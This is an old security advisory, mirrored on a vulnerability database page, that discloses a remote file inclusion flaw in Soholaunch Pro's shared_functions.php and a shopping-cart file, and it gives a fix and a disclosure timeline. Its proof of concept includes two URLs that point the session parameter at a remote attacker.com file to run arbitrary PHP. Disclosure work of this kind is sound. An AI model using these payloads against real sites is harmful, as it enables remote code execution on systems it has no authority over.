Lucene search
K

Soholaunch Pro <=4.9 r36 Multiple Remote File Inclusion Vulnerability

🗓️ 07 Nov 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

Soholaunch Pro <=4.9 r36 Multiple Remote File Inclusion Vulnerability in shared_functions.ph

Code

                                                ____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_57$2006

-----------------------------------------------------------------------------------------------
[ECHO_ADV_57$2006]Soholaunch Pro &lt;=4.9 r36 Multiple Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------------

Author		: Dedi Dwianto a.k.a the_day
Date Found	: October, 31th 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv57-theday-2006.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: Soholaunch Pro Edition
version		: &lt;=4.9 r46
URL		: http://www.soholaunch.com

Soholaunch Pro Edition is a software product that makes it easy for people of all experience levels to create 
and maintain a great website. It reins-in the hard parts of building a website and presents them a way that the 
non-geek can understand and control
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability in script shared_functions.php
--------------------------shared_functions.php-----------------------------------
....
&lt;?
...
include_once($_SESSION['docroot_path'].&quot;/sohoadmin/includes/mysql_insert.class.php&quot;);

# userData manipulation class (works with misc_userdata table)

include_once($_SESSION['docroot_path'].&quot;/sohoadmin/includes/userdata.class.php&quot;);

...
----------------------------------------------------------

Input passed to the &quot;$_SESSION['docroot_path']&quot; parameter in shared_functions.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files :

/client_files/shopping_cart/pgm-shopping_css.inc.php
/program/includes/shared_functions.php



Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/sohoadmin/program/includes/shared_functions.php?_SESSION[docroot_path]=http://attacker.com/inject.txt?
http://target.com/sohoadmin/client_files/shopping_cart/pgm-shopping_css.inc.php?_SESSION[docroot_path]=http://attacker.com/inject.txt?


Solution:
~~~~~~~

- Sanitize variable $_SESSION['docroot_path'] affected files.
- Turn off register_globals

Timeline :
~~~~~~~~~

31 - 10 - 2006 bugs found
31 - 10 - 2006 vendor contacted
07 - 11 - 2006 public disclosure

---------------------------------------------------------------------------

Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,bomm_3x,matdhule,angelia
~ [email protected]
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
     EcHo Research &amp; Development Center
     the_day[at]echo[dot]or[dot]id
     
-------------------------------- [ EOF ]----------------------------------
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation